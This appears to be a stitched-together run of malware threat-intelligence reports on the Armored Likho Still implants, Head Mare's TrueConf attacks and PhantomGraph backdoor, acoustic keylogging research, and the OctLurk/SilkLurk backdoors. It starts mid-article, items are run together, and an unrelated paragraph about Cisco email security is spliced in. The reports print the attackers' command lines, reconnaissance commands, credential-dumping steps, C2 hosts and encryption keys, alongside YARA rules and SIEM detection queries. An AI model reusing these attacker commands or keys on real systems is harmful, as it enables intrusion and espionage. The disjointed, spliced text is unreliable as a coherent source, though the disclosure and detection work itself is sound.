This lets the C2 server avoid re-receiving files it already has. In addition, if Sync can’t access files on disk through standard methods, it falls back on three mechanisms that abuse the SeBackupPrivilege privilege:
CreateFileW function using the FILE_FLAG_BACKUP_SEMANTICS parameterBeyond stealing Telegram session data, Sync can carry out full-scale collection of user information from the messaging app. When the fetch_telegram option is on, it launches a separate thread that authenticates to the chat app using the previously obtained tdata. Once authentication succeeds, Sync gains access to the account data and sends the following collected information to the server:
Still Audio is an audio surveillance implant written in Rust. Its main job is to analyze the incoming audio stream and start recording voice when certain conditions are met – we’ll cover those in the next section. Architecturally, Still Audio largely mirrors Sync and uses the same mechanisms for communicating with the C2 server.
On launch, Still Audio performs a sequence of actions:
libmp3lame.dll, a file stored inside the executable. This is a library used to encode audio data.--console command-line argument is absent, the implant creates a service named auxhost, connects to it, and continues running in the background.logfile.log, to write logs to.Next, Still Audio retrieves the C2 server address. As with Sync, it stores the URL in an environment variable – in this case, STILL_AUDIO_SYNC_ADDR. If that variable isn’t set, it falls back to STILL_SYNC_ADDR, which shows the two modules are compatible with each other. If neither variable is set, it uses the default URL, https://srwinservice[.]com.
Still Audio also uses the Dead Drop Resolver technique as a fallback mechanism for obtaining the C2 address. If the current server stays unreachable for three days, the tool tries to pull the current C2 URL from a GitHub repository. In the sample under analysis, we found the following URL for the page containing C2 information: hxxps://raw.githubusercontent[.]com/mmarln/pi-mono/refs/heads/main/packages/pods/src/array12.json
Encrypted C2 address inside the GitHub repository
The repository, a fork of a popular project, contains the server URL Base64-encoded and encrypted with the Blowfish algorithm in ECB mode, using the key 5c8e153228edd3c6cbf75684 (lowercase string). Older AquilaRAT samples use this exact same algorithm and key.
Once it obtains the current C2 address, the Audio module starts a registration process similar to Sync’s, but through a different endpoint:
/still.rpc.Audio/RegisterAudioMachine. Also, unlike Sync, Audio sends a list of available audio input devices along with the system information.
The server responds with settings for the implant:
Still Audio works with raw audio samples it captures directly from the input device. To detect voice activity, it implements an algorithm based on Root Mean Square (RMS), a lightweight signal-processing method that distinguishes speech from silence by measuring the audio signal’s average power over time. The implant doesn’t rely on any third-party libraries here; it implements all the calculations itself.
The implant compares the calculated RMS value against the vad_threshold parameter. If RMS meets or exceeds this threshold, recording starts. To avoid losing the beginning of the recording, Still Audio uses a pre-buffer, a size-limited buffer that stores samples from just before the current recording moment. A sequence of max_silence_duration samples (320 by default) with RMS values below the threshold signals the end of the recording. For example, with a standard headset running at a 44.1kHz sampling rate, recording stops after roughly 7ms of silence.
Interestingly, the Audio module makes no attempt to hide its use of the microphone: its name shows up in Windows settings. In the sample we examined, the file was saved to disk as IntAudio.exe, and it appeared in the list of apps using the microphone as “Intel Audio”:
The malicious module in the list of apps using the microphone
Before sending recordings to the server, the implant uses the libmp3lame library to encode the raw audio samples. It sends the recording files via a POST request to /tgfrg, adding a Client-Id header containing the machine_id obtained during registration to identify the device.
This campaign draws on a broad set of hosting providers and domains registered at different points in time, which suggests the attackers are trying to make their infrastructure harder to detect. We found no direct overlap in domains or IP addresses with the February campaign. Even so, the two infrastructures share some similarities:
| Domain | IP address | Registration date | ASN |
| orderapiserver[.]info | 187.127.153[.]38 | April 18, 2026 | 47583 |
| tg4service[.]com | 159.198.37[.]74 | October 4, 2025 | 22612 |
| srwinservice[.]com | 213.252.244[.]123 | March 19, 2026 | 61272 |
| screenserv[.]com | 23.26.237[.]250 | February 13, 2026 | 149440 |
| windowserv[.]net | 23.27.24[.]30 | February 10, 2026 | 149440 |
| managementapiservice[.]com | 188.212.124[.]178 | May 1, 2026 | 202448 |
| service8date[.]com | 145.223.69[.]143 | January 13, 2026 | 215311 |
| updateservs[.]com | 145.223.68[.]66 | December 23, 2025 | 215311 |
In this campaign, we’ve determined that the attackers’ primary targets are users in Russia. Most victims are private individuals, though the corporate sector, government organizations, IT companies, and educational institutions are also affected.
This campaign has been using both new tools and malware families documented in BI.ZONE’s February report. While some components turned up for the first time, they show significant code-level overlap with malicious tools seen in earlier Armored Likho campaigns. Based on these overlaps, along with additional technical artifacts, we’re highly confident the Armored Likho group is behind the campaign. The overlaps we identified include:
ICRYPTMP header, and the same multi-part encryption format.sysmarker value in older AquilaRAT samples and in the Still toolkit from the current campaign. The algorithms match down to the PowerShell commands used to collect system information.The campaign described in this post shows Armored Likho’s toolkit evolving, with the group steadily expanding its cyber-espionage capabilities. Beyond the components we already knew about, the attackers rolled out new modules that let them not only access Telegram data but also conduct audio surveillance on victims. Together, these capabilities significantly widen the range of information attackers can collect in a single compromise.
One point deserves particular attention: the new tools form a cohesive set, sharing similar architecture, C2 communication mechanisms, and common implementation elements. This points to the group building out its own tool ecosystem, designed for long-term use and further expansion.
The emergence of new, specialized modules shows the attackers aren’t just trying to preserve their existing capabilities – they’re working to make intelligence-gathering more effective by controlling multiple communication channels at once.
Additional information about this threat, indicators of compromise included, is available to customers of Kaspersky Threat Intelligence Reporting. Contact intelreports@kaspersky.com for more details.
File hashes
Droppers
C1D1EE16B92E6A138FFA048855F75D7D
17674B250D8B422A50A86C9FF207186D
62801F6223E860A7CCA271522E303B2D
Still Sync
68F0365D2FA8C828D012D8859E52A773
4BD7C352AE277B0E38D07BEEDD4DD507
D4BC09FB10EA2A5DC0BCBEEDA5E5AFDD
Still Audio
2CA8ADBAB98EBE305EACF272CF48F5A0
3AC41B097236A7723821848AE31EF141
439255736797BC88BD19F282449E0436
Domains
orderapiserver[.]info
tg4service[.]com
srwinservice[.]com
screenserv[.]com
windowserv[.]net
managementapiservice[.]com
service8date[.]com
updateservs[.]com
In July 2026, Kaspersky experts detected a new attack by the Head Mare group. Previously, we classified them as hacktivists, but now we define them as an APT group due to the sophistication of their TTPs and the absence of destructive activity (encryption, wiping) in the targeted infrastructures. In this latest campaign, the attackers exploited a chain of vulnerabilities in the TrueConf video conferencing server and replaced the original TrueConf client installers with infected versions that installed the PhantomCore malware on the system.
An investigation of the compromised server revealed that the attackers used a combination of two new vulnerabilities (assigned the internal identifiers KLCERT-26-057 and KLCERT-26-058), allowing them to execute arbitrary code with the highest privileges.
The attack occurs in several stages:
…\public\js\locale.php with a web shell, which can be used for subsequent remote control of the compromised server.This web shell was used for the following activities:
The vulnerabilities exploited by the attackers were patched by the vendor in the latest TrueConf Server updates (versions 5.3.9, 5.4.9, and 5.5.5). These updates were released on June 18, 2026.
The PhantomCore backdoor was successfully detected by Kaspersky solutions.
To automatically launch the malware after the system boots, a registry key is created: HKEY_CURRENT_USER\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32, with the value set to the path to the malicious program’s file.
Using a web shell, in addition to PhantomCore, the attackers load a backdoor that we have named PhantomGraph, consisting of two modules:
SysExcSvc.dll is responsible for receiving commands from the attackers and transmitting the results of their execution. The attackers used an account on Microsoft OneDrive cloud storage as their command-and-control (C2) server.SysReadSvc.dll reads the command transmitted by the first module, executes it, and saves the execution result.To establish persistence on the system, the attackers execute a Base64-encoded PowerShell command that installs SysExcSvc.dll and SysReadSvc.dll as Windows services. We believe the attackers deliberately split this malicious command into two components to make it harder to detect using EDR tools. Additionally, the program’s code partially matches that of PhantomCore, indicating that it belongs to Head Mare’s arsenal.
We also managed to identify the commands executed by the attackers when connecting to the backdoor. The SysReadSvc module executes commands using a BATCH file. Example of execution:
$system32\cmd.exe /c cmd /c ""$temp\cmd_cmd_4488.bat"" 2>&1
Commands detected:
lsass.exe process:
hostname whoami "$system32\WindowsPowerShell\v1.0\powershell.exe" -noexit -command Set-Location -literalPath '$system32\inetsrv'
In addition, we discovered several commands that did not work due to the attackers’ typos and encoding issues.
We are observing several active Head Mare campaigns targeting Russian organizations across various industries: instrument manufacturing, electronics, transportation, energy,
IT, and software development. The attackers distribute their backdoors using various methods, including phishing, exploiting public web servers, or through a subcontractor.
We recommend that all organizations using TrueConf software install the latest server version (versions 5.3.9, 5.4.9, and 5.5.5) in accordance with the vendor’s recommendations.
We also recommend verifying that the client distributions downloaded from the TrueConf server used by your organization have a valid TrueConf digital signature and have not been tampered with. The malicious distributions we detected did not have a valid digital signature. You can also verify authenticity on the vendor’s website.
Important: Even if your organization does not use a TrueConf server, your employees may connect to compromised TrueConf servers belonging to business partners to participate in online meetings and download infected installation packages.
The attack mechanism and the vulnerabilities exploited are described in more detail on the Kaspersky ICS CERT website.
Kaspersky security solutions successfully detect malicious activity associated with the attacks described above.
The malware used in this attack is detected by our solutions with the following detection names:
Let’s take a closer look using Kaspersky Endpoint Detection and Response Expert (KEDR Expert) as an example.
Specifically, activity involving the replacement of the legitimate file …\public\js\locale.php with a web shell, as well as the deletion of entries from TrueConf event logs, is detected by the rule unusual_php_file_creation_from_trueconf_process.
Downloading a file containing the PhantomCore backdoor via the replaced legitimate file …\public\js\locale.php is detected by KEDR Expert with the rule unusual_file_creation_from_trueconf.
Activity related to the installation of an infected TrueConf client installer containing the PhantomCore backdoor is detected by KEDR Expert using the unsigned_trueconf_installer rule.
The Kaspersky Managed Detection and Response service detects the described attack by monitoring the following actions:
lsass.exe process.lsass.exe process using the comsvcs.dll library.lsass.exe process.To protect companies using our Kaspersky SIEM system, a general set of rules is available in the product repository that allows detection of the following techniques:
lsass.exe process using the comsvcs.dll library:lsass.exe process:We also recommend paying attention to the following events when developing your own detection rules or conducting threat hunting:
(DeviceEventClassID = '4657' OR DeviceEventClassID = '13')
AND FileName like '%\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}%' AND DeviceCustomString6 = 'InprocServer32'
SysExcSvc and SysReadSvc services to run executables from temporary directories in the background via cmd:DeviceEventClassID = '4697' AND (DestinationServiceName = 'SysExcSvc' OR DestinationServiceName = 'SysReadSvc') AND match (FileName, '.*cmd\s+\/c.*temp\\cmd_cmd_.*\.bat.*')
(DeviceEventClassID = '4688' OR DeviceEventClassID = '1') AND SourceProcessName LIKE '%\trueconf_windows_update.exe'
For the detection rules to work correctly, ensure that events from Windows systems are received in full, including Security events 4688, 4663, 4657, and 4697 and Sysmon events 1, 7, 11, and 13.
Web shell
4d27b4eb1c5dbb3d8160f29b8119523e locale.php
Infected installer
748c9f8cb1065000616204935f96207f trueconf_windows_update.exe
PhantomCore DLL
c5a460e4e68a088f6e51b2c6474642ec
129462164a7d52e9ea8560b60f0412c5 doc.txt
ec0bf4a2186a88874e9f26f07cfeb532 usocacheddata.txt
b348642146ea34771e5785c5857950f5
c915cb6c2aeb863ee8479238e1644217 doc.txt
0e79996d9483d1e44fea32b0a48c2c19 doc.txt
2bb75c20e778eb5c416965bd4d4259b1 trueconf_windows_client_x64_[redacted].exe
b3a6fee3307f1c26841fd5c603e2b013 usocacheddata.txt
8fcc3e4ccbf1725d9989fb464abf3561 usocacheddata.txt
PhantomGraph
489f43be558b2679284ceabed7adc4f3 sysexcsvc.dll
dd1fd2b459b97b7d59375cb8383cd19a sysreadsvc.dll
0e4541c3153ec5ed01497f19cf4f63d0 sysexcsvc.dll
12d4e8f5295f2ef7e0f9bfc0f4830939 sysexcsvc.dll
7f267006cac10f341c356b62fe493527 sysexcsvc.dll
ee2861d5965e8730708cd1da8a93fa4c sysexcsvc.dll
Backdoor (ELF)
c3a2abe8756910f42582b04a44ea3514
43f435c3c437bc879a2d7d4634f43494
Rootkit
aee9642b45b099cb7f3053b9b680b425
81.177.32[.]12
194.87.239[.]71 ssh
194.87.93[.]153 ssh
38.244.205[.]244
31.59.102[.]61
penzadogshelter[.]site
trendy-market[.]site
bright-deals[.]site
nova-stream[.]site
rinomobile[.]ink
urbanpixel[.]store
flexish[.]shop
media-hub[.]today
cosmetic-deals[.]store
vks.gossopka[.]forum
SysExcSvc
SysReadSvc
C:\Windows\System32\inetsrv\SysExcSvc.dll
C:\Windows\System32\inetsrv\SysReadSvc.dll
C:\Windows\System32\inetsrv\graphi-refresh.dat
C:\Windows\System32\inetsrv\share\input_*.txt
C:\Windows\System32\inetsrv\share\output_*.txt
%TEMP%\cmd_cmd_*.bat
%LOCALAPPDATA%\TrueConf\Client\api-ms-win-crt-time-l1-1-0-2.dll
/etc/systemd/system/omicluster.service
/etc/systemd/system/schedul2-bin.service
/opt/acronis/bin/schedul2-bin
/omi/bin/omicluster
/usr/lib64/libzvbi-tchain.so.2
/var/tmp/cx2
HKEY_CURRENT_USER\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32
Backdoor.PHP.WebShell.abi
Backdoor.Win64.PhantomCore.dt
Trojan.Win64.Agent.smgvnc
Trojan.Win64.Agent.smgvnb
HEUR:Backdoor.Win64.PhantomCore.gen
HEUR:Backdoor.Linux.Agent.fb
HEUR:Backdoor.Linux.PhantomHook.a
HEUR:Backdoor.Linux.PhantomReact.a
Trojan.Win64.PhantomGraph.gen
UDS:Backdoor.Win64.PhantomCore.a
import "pe"
rule apt_HeadMare_PhantomCore
{
meta:
description = "Rule to detect PhantomCore used by HeadMare"
author = "Kaspersky ICS CERT"
copyright = "Kaspersky ICS CERT"
version = "1.0"
last_modified = "2026-08-02"
hash = "c5a460e4e68a088f6e51b2c6474642ec"
strings:
$a1 = "lying.dll" ascii
$a2 = { 2D 7F 95 4C 2D F4 51 58 }
$a3 = { 4F 81 67 F7 7E 7B 05 14 }
condition:
(uint16(0) == 0x5A4D) and (filesize > 4MB) and (filesize 20MB) and (all of them) and (pe.number_of_signatures == 0)
}
rule apt_HeadMare_FakeConf_installer
{
meta:
description = "Rule to detect any unsigned TrueConf installers"
author = "Kaspersky"
copyright = "Kaspersky"
version = "1.0"
last_modified = "2026-08-02"
hash = "748c9f8cb1065000616204935f96207f"
strings:
$a1 = "TrueConf Setup" wide
$a2 = "This installation was built with Inno Setup." wide
condition:
(uint16(0) == 0x5A4D) and (filesize > 20MB) and (all of them) and (pe.number_of_signatures == 0)
}
rule apt_HeadMare_PhantomCore_exchange
{
meta:
description = "Rule to detect PhantomCore exchange module used by HeadMare"
author = "Kaspersky ICS CERT"
copyright = "Kaspersky ICS CERT"
version = "1.0"
last_modified = "2026-08-02"
hash = "489f43be558b2679284ceabed7adc4f3"
strings:
$a1 = "graphi_exchange.dll" ascii
$a2 = "graphi-client/1.0" ascii
$b1 = "https://graph.microsoft.com/v1.0/me/drive/root:/" ascii
$b2 = ":/children?$select=name,id&$top=200" ascii
$b3 = "offline_access Files.ReadWrite" ascii
$b4 = "GRAPHI_INSECURE" ascii
$b5 = "\"@microsoft.graph.conflictBehavior\":\"replace\"}" ascii
$b6 = "https://login.microsoftonline.com/" ascii
condition:
(uint16(0) == 0x5A4D) and (any of ($a*)) and (3 of ($b*))
}
rule apt_HeadMare_PhantomCore_executor
{
meta:
description = "Rule to detect PhantomCore executor module used by HeadMare"
author = "Kaspersky ICS CERT"
copyright = "Kaspersky ICS CERT"
version = "1.0"
last_modified = "2026-08-02"
hash = "dd1fd2b459b97b7d59375cb8383cd19a"
strings:
$a1 = "graphi_reader.dll" ascii
$a2 = "^input_(.+)\\.txt$" ascii
$b1 = "output_" ascii
$b2 = "cmd_cmd_" ascii
$b3 = "cmd /c \"\"" ascii
$b4 = "error: failed to start cmd process" ascii
$b5 = "share" ascii
$b6 = "SysReadSvc" ascii
condition:
(uint16(0) == 0x5A4D) and (filesize < 4MB) and (any of ($a*)) and (4 of ($b*))
}
rule apt_HeadMare_FakeLocale_webshell
{
meta:
description = "Rule to detect the HeadMare TrueConf web shell"
author = "Kaspersky"
copyright = "Kaspersky"
version = "1.0"
last_modified = "2026-08-04"
hash = "4d27b4eb1c5dbb3d8160f29b8119523e"
strings:
$a1 = "X-Redirect-Bit" ascii wide nocase
$a2 = "tc_vcs_web_db_conn" ascii wide
$a3 = "user=postgres" ascii wide
$b1 = "UPL ok::" ascii wide
$b2 = "DWN fail nexs" ascii wide
$b3 = "DWN fail inv" ascii wide
condition:
(2 of ($a*)) or (2 of ($b*))
}
rule apt_HeadMare_TrueConf_Rootkit
{
meta:
description = "Rule to detect the HeadMare rootkit installed on TrueConf servers"
author = "Kaspersky"
copyright = "Kaspersky"
version = "1.0"
last_modified = "2026-08-06"
hash = "aee9642b45b099cb7f3053b9b680b425"
strings:
$a1 = "PQconnectdb"
$a2 = "obfuscated_data"
$a3 = "install_hook"
condition:
(uint32(0) == 0x464c457f) and (filesize < 400000) and (all of them)
}
rule apt_HeadMare_Github_Backdoor
{
meta:
description = "Rule to detect the HeadMare backdoor with Github C2"
author = "Kaspersky"
copyright = "Kaspersky"
version = "1.0"
last_modified = "2026-08-06"
hash = "43f435c3c437bc879a2d7d4634f43494"
hash = "c3a2abe8756910f42582b04a44ea3514"
strings:
$a1 = "cryptor5crypt"
$a2 = "execraw_task"
$a3 = "jitter_task"
$a4 = "upload_task"
$a5 = "exec_task"
$a6 = "react_comment"
condition:
(uint32(0) == 0x464c457f) and (filesize > 5000000) and (filesize < 10000000) and (4 of them)
}
As Cisco grew into the dominant email security vendor, A saying became loud into this space: "Nobody ever got fired for buying Cisco." The idea was that choosing the market leader was the safest decision because it was easy to justify if things went wrong. In today's email cybersecurity, however, that mindset can be dangerous.
For security researchers studying unconventional side-channel attacks, acoustic keylogging is something of a Hello World: a foundational problem that’s been tackled many times. A recent paper authored by researchers across three Japanese universities cites six previous studies on the topic that date as far back as 2004. While earlier experiments showed theoretical promise, they came with real-world caveats so severe that it made them all but impractical for actual espionage. The authors of this latest study, however, claim to have overcome most of those limitations. Today, we look at how they pulled it off, and assess whether their method holds up in real-world scenarios.
Previous acoustic keylogging techniques were fundamentally flawed. Best-case scenarios required prior training on the target’s specific keyboard model. Worst-case scenarios required a complex microphone array to isolate the subtle acoustic differences between keystrokes. Crucially, almost all prior models failed outside silent environments, which rendered the attack vector virtually useless.
The Japanese research team demonstrated reliable keystroke interception even if the target was sitting nearby in a public space, sound was being recorded in an online meeting, or the researchers were using a contact microphone to eavesdrop through a wall. All this with strong model accuracy and a minimal training dataset. Their process needs a sample of just 150 to 200 keystrokes to reach a 99% accuracy rate for subsequent typing.
Attack scenarios and core methodology proposed by the Japanese researchers. Source
To understand how the researchers achieved such high accuracy and adaptability, we have to look at their audio processing pipeline. Their analysis begins by automatically segmenting a raw recording into discrete keystrokes. This data is then passed through a specialized algorithm that simplifies the subsequent audio analysis. Next, the system clusters together acoustically similar signals. The assumption is that the members of one cluster map to the exact same key. One particularly intriguing takeaway was isolating the spacebar sound from all the rest. Because the spacebar produces a distinctly unique sound profile compared to other keys, identifying it provides reliable word boundaries. This streamlines the next phase: feeding the preprocessed acoustic data into specialized language models for inference.
Yes, the method relies on not one but two language models. The first model performs multiple passes over the audio stream to map acoustic signatures to potential keyboard characters. During each pass, the model leverages dictionaries to hypothesize character mapping, and check whether the resulting text aligns with standard words. The second model handles the final refinement pass: it ingests thoroughly pre-processed data rather than raw inputs. The method doesn’t stop there: unrecognized keystrokes undergo manual analysis, with analysts injecting educated guesses before re-running the recognition pipeline once again. The goal of looping through these multiple iterations is to achieve complete recognition across the keyboard from an ultra-compact dataset of ideally no more than 200 captured keystrokes. This marks a major shift from legacy methods, which relied on massive training datasets.
Clustering the sounds of keystrokes permits grouping similar acoustic profiles together prior to recognition. Notice how distinctly the spacebar sounds stand out: they make subsequent text reconstruction vastly simpler. Source
To validate their theoretical model, the researchers created an experimental testing setup:
Clustering the sounds of keystrokes permits grouping similar acoustic profiles together prior to recognition. Notice how distinctly the spacebar sounds stand out: they make subsequent text reconstruction vastly simpler. Source
The team tested four distinct laptop models, each producing unique acoustic keyboard signatures. Participants typed 2400 characters per experiment, with analysts extracting audio samples ranging from 50 to 400 keystrokes. Across all devices, the system reliably reconstructed typed text from a baseline sample of just 150 keystrokes or more. Recognition accuracy exceeded 80% at 150 keystrokes, and approached 100% once the sample reached 200 keystrokes.
The researchers achieved nearly identical results in field-like conditions with the microphone placed three meters away from the target device. Going a step further, the team successfully tested an even higher-friction scenario: using a specialized contact microphone to eavesdrop through a physical wall.
A target laptop and the attacker’s smartphone. Source
Under these conditions, accuracy dipped slightly for certain laptop models. Dell and Lenovo devices yielded roughly 80% accuracy over a 200-keystroke sample, while Apple and HP ones maintained nearly 100% recognition rates.
Remote interception during videoconferencing presented an additional variable: results depended on both the target laptop model and the specific web conferencing software used. Even so, most test scenarios yielded reliable character recognition, though a few edge cases required expanding the sample size from 200 to at least 250 keystrokes.
Despite these impressive results, the technique has clear limitations. First, all experiments were conducted strictly on lowercase English text. The target dataset was capped at just 29 characters: the standard alphabet, spacebar, period, and comma — even number keys were excluded. As a result, capturing randomized character strings like complex passwords remains a major hurdle. Yet these are precisely the targets threat actors care about most.
Wall-penetrating eavesdropping experiment. Source
However, the Japanese research team didn’t ignore passwords. While recognition accuracy was predictably low, the authors proposed assessing success through a more realistic lens. For starters, attackers can almost always capture audio of other typing activity alongside password entry. This provides a stream of natural language with minimal special characters. Factoring this broader acoustic context into the password analysis significantly improves the odds of a successful guess.
Next, the researchers rightly noted that even a list of several candidate passwords increases the chances of compromising a target account. As shown in the graph above, when ample data (426 keystrokes) is captured, a short five-character password can be successfully cracked within 100 attempts with a 90% success rate. Naturally, longer passwords proved far more resistant to eavesdropping.
Despite its limitations, this study represents a major breakthrough in acoustic side-channel attacks. It demonstrates a highly practical threat scenario: an attacker captures a brief audio recording of typing activity, then uses iterative analysis and targeted manual adjustments to process and refine the data offsite.
While eavesdropping in a noisy restaurant or through a wall is likely difficult to scale, capturing keystrokes during virtual meetings for offline decoding represents a realistic attack scenario. Ultimately, this research offers a compelling proof-of-concept: modern algorithms can drastically improve the accuracy of acoustic reconnaissance.
We have been tracking two new backdoors, OctLurk and SilkLurk, observed in attacks against government organizations primarily in Central Asia since January 2025. Identified victims are located in Afghanistan, Kyrgyzstan, Tajikistan, Uzbekistan, Kazakhstan, and the Syrian Arab Republic. These organizations operate across several sectors, including healthcare, research, government offices, ministries of foreign affairs, logistics, law‑enforcement agencies, urban planning and facilities management, and public educational establishments.
The backdoor loaders are customized for each victim and use information from the victim’s machine to decrypt the payload. Both the loaders and the backdoors are heavily obfuscated, making analysis more complicated. OctLurk and SilkLurk can download and inject additional plugins to perform further malicious actions, including launching command shells, performing file system activity, synthesizing keyboard and mouse events, network scanning, credential dumping, keylogging, password theft from browsers, email collection, and remote access. Furthermore, the attackers deployed a specialized utility we named LurkProxy, which we also cover in this report. While it has a highly similar architecture to the OctLurk backdoor, it is not a backdoor itself.
Our investigation shows that the same threat actor operates both SilkLurk and OctLurk , and some victims infected with SilkLurk also contain OctLurk. We assess with medium confidence that the same actor is behind both backdoors, and that they are Chinese‑speaking. However, at the time of publication, we couldn’t attribute this activity to any known group.
The attacker created a scheduled task named GoogleUpDate on remote machines using admin credentials. The task runs once with System account privileges right after it was created, executing the batch script located at C:\Users\<username>\Videos\1.bat (MD5 6ecf84fb18f6747ed08d7598364d853a). Prior to executing the task, the actor queries its status. It is then run, as shown below.
The 1.bat script creates a service named NgcCIntSvc, which loads the loader DLL named oleasapi.dll (MD5 082d49ef9f14e6811d68c7e0e82e5069). The ServiceMain parameter in the service’s registry entry is set to invoke the RegisterService function of oleasapi.dll as shown below.
In another case, the attacker at first checked connectivity to the domain dns[.]ssentialserv[.]xyz as shown below. At the time of our research, the domain was resolving to the address 154[.]196[.]162[.]76 which is used as a LurkProxy C2 server.
After confirming that the C2 server was reachable, the attacker executed the batch script C:\Users\[username]\Desktop\auto.bat (MD5 b874123a80fc4f40e06872b9cb54ebc6). The script created a service named Cusrxsrv, which loads a DLL named msbasesysdc.dll. In the service registry, the ServiceMain parameter was set to call the RegisterService function of msbasesysdc.dll as shown below.
We identified several service names — specitsrc, cmtastsvc, PNRPHostSvc, vmictimerosync, and vmicagent — that the attackers used to load a malicious DLL onto compromised machines.
The loader DLL exports two methods, Refresh and RegisterService. The previously created service first calls RegisterService, which in turn invokes Refresh, the method that contains the malicious code. To locate the payload, the loader double-XOR-decrypts and then zlib-decompresses a set of hard‑coded bytes, yielding the payload file path. The payload bytes itself undergoes the same double‑XOR decryption and zlib decompression to produce the backdoor DLL bytes.
The double‑XOR decryption uses two distinct multibyte keys:
The backdoor DLL is reflectively injected into memory and its entry point is executed. The loader can then call the DLL’s exported methods either by name or by ordinal; both the method name and the ordinal number are hard‑coded in the loader and are decrypted using the same double‑XOR and zlib‑decompression process applied to the payload path and bytes.
The loader invokes the backdoor’s curl_easy_escape function (ordinal 2). The backdoor then creates a stream socket using a hard‑coded C2 address (dns[.]multitoconference[.]com) and port 443. It gathers the following information from the victim machine:
To encrypt the collected data, the backdoor employs a hard‑coded XOR key, which in most cases we observed was the string FDrertgr##@QEWASGkio865ehyf98foidsjzhug874392dfsREFDfdsAGH43wea98h. In addition, it generates 0x53 (83) random bytes — this length is also hard‑coded in the sample — and uses them as a second XOR key. The collected victim information is first compressed with zlib (deflate), and then XOR‑encrypted twice, first with the hard‑coded string key and then with the randomly generated byte sequence. The final data is arranged as follows:
The backdoor initially transmits a 16‑byte header that specifies the size of the incoming data packet, as shown below. It then sends the actual data packet.
The first packet received is 16 bytes long, and its last four bytes specify the size of the subsequent data packet. The format of the subsequent data packet is shown below.
The received data is decrypted using a double‑XOR method: first with the XOR key contained in the packet, then with a hard‑coded XOR key. After the XOR decryption, the data is zlib decompressed. The data may be a command or a plugin code.
OctLurk loads plugins from the C2 server directly into memory to perform various tasks. Each plugin exports two methods — ins_ctl_db and oct_lk_col — with the actual functionality implemented in oct_lk_col. Our analysis shows that the plugins listed below are commonly deployed on victim machines.
The table below provides a detailed description of operations performed by these plugins, where each switch case value denotes command ID.
| Plugin type | Description |
| File Manager | ● case 0x10020: for each drive, retrieve the following information: volume GUID path, drive letter, volume name, file system name, drive type, volume serial number, total size in bytes, and free space in bytes. ● case 0x10030: search for a file that matches a specified name and retrieve the following information: file attributes, creation time, last access time, last write time, file size, the file’s name, and its short (8.3) name. ● case 0x10040: recursively list all files in a specified location, including only those whose size, creation time, last write time, and last access time fall within the threshold values defined by C2. For each listed file, retrieve the following details: file attributes, creation time, last access time, last write time, file size, file name and alternative name for the file ● case 0x10050: use the ShellExecuteExW API to open the specified file path, which may be an executable, a document, or a folder. ● case 0x10051: execute the specified command line using the CreateProcessAsUserW API. ● case 0x10060: perform the following file‑system operations: copy, delete, move, and rename — using the SHFileOperationW API. ● case 0x10070: create a directory. ● case 0x10080: set the attributes for a file or directory. ● case 0x10090: for the filename provided by C2, set the file created, last accessed, and last modified timestamps to the values received from C2. ● case 0x20010: get the size of a file. ● case 0x20020: read a file from the system in chunks, starting at a specified offset. ● case 0x20030: calculate the CRC32 of each file data chunk, and retrieve the file created, last accessed, and last written times. ● case 0x20040: close the file handle and free the associated metadata (file path, handle, and size). ● case 0x20110: create a file at the specified path and write the bytes received from C2 into it. Then set the file created, last accessed, and last modified times using the timestamps supplied by C2. |
| Command Shell | ● case 0x3E9: launch cmd.exe as shell.● case 0x3EA: send the exit command to close the command shell.● case Default: if a command string is received from the C2 and the shell is running, write the command to the shell. Then read the shell’s output and send it back to the C2. If a command string is received from the C2 server and the shell is not already running, execute the command using C:\Windows\System32\cmd.exe /S /C "<command_string>" > %TEMP%\tmp%d%x.tmp where %d and %x are random values. Afterwards, read the output from the temporary file tmp%d%x.tmp and then delete the file. |
| Interaction Manager | ● case 0x3E9: capture the entire screen as a BMP image. ● case 0x3EA: capture the entire screen at specified intervals. ● case 0x3EC: retrieve clipboard data. ● case 0x3ED: copy the data to the clipboard. ● case 0x3F3: MOUSEEVENTF_LEFTDOWN: set the cursor to the specified position and press the left mouse button. ● case 0x3F5: MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP: move the cursor to the specified position, then press and release the left mouse button. ● case 0x3F6: MOUSEEVENTF_RIGHTDOWN: set the cursor to the specified position and press the right mouse button. ● case 0x3F7: MOUSEEVENTF_RIGHTUP: set the specified cursor position and release the right mouse button. ● case 0x3F8: MOUSEEVENTF_MOVE: move the mouse cursor to specific coordinates, simulating a mouse movement event. ● case 0x3F9: MOUSEEVENTF_WHEEL: move the mouse wheel by a specified amount. ● case 0x3FD: press the key indicated by the virtual‑key code. ● case 0x3FE: KEYEVENTF_KEYUP: release the key identified by the virtual-key code. ● case DEFAULT: MOUSEEVENTF_LEFTUP: move the cursor to the specified position and release the left mouse button. |
The attacker used the command‑shell plugin installed via the OctLurk backdoor to perform the following actions:
The attacker used admin credentials to create a scheduled task named GoogleUpDate on remote machines. This task runs once with System account privileges, executing the script located at C:\windows\temp\in.bat (MD5 45cf5916fab4272a1313c26e67aa9220, 4e6d5c4770d5a822d7fcce6a74f7ad73). After querying the task’s status, the attacker triggers its execution, as shown below.
The batch script runs a series of commands that collect comprehensive information about the machine’s hardware, software, and network configuration as shown in the table below. The results are saved in three files — info.txt, <hostname>.datb, and <hostname>_logs.datb — all stored in the %TEMP% directory.
| Command | Description |
| chcp 1256 | Changes the system’s code page to 1256, which supports Arabic characters. |
| powershell $PSVersionTable | Retrieves the version information of PowerShell. |
| qwinsta | Views all active sessions on the local machine. |
| klist sessions | Displays a list of logon sessions on this computer (Including Kerberos). |
| TASKLIST /V | Lists all running tasks with detailed information. |
| findstr /i /c:”explorer.exe” | Searches for explorer.exe in a case-insensitive manner. Used together with TASKLIST /V. |
| wevtutil qe Security /f:text /c:5 /rd:true /q:”*[System[(EventID=4624)]] and *[EventData[Data[@Name=’LogonType’]=10]]” | Retrieves the last 5 events from the Security event log where the event ID is 4624 (successful logon event) and the logon type is 10 (remote interactive logon e.g., Remote Desktop Protocol). |
| powershell “ipconfig|select-string v4 -context 1,3” | Uses PowerShell to filter ipconfig output for IPv4 addresses. |
| ipconfig /all | Displays detailed network configuration information. |
| WHOAMI /all | Displays detailed information about the current user, including their security identifiers (SIDs), privileges, group memberships, and authentication details. |
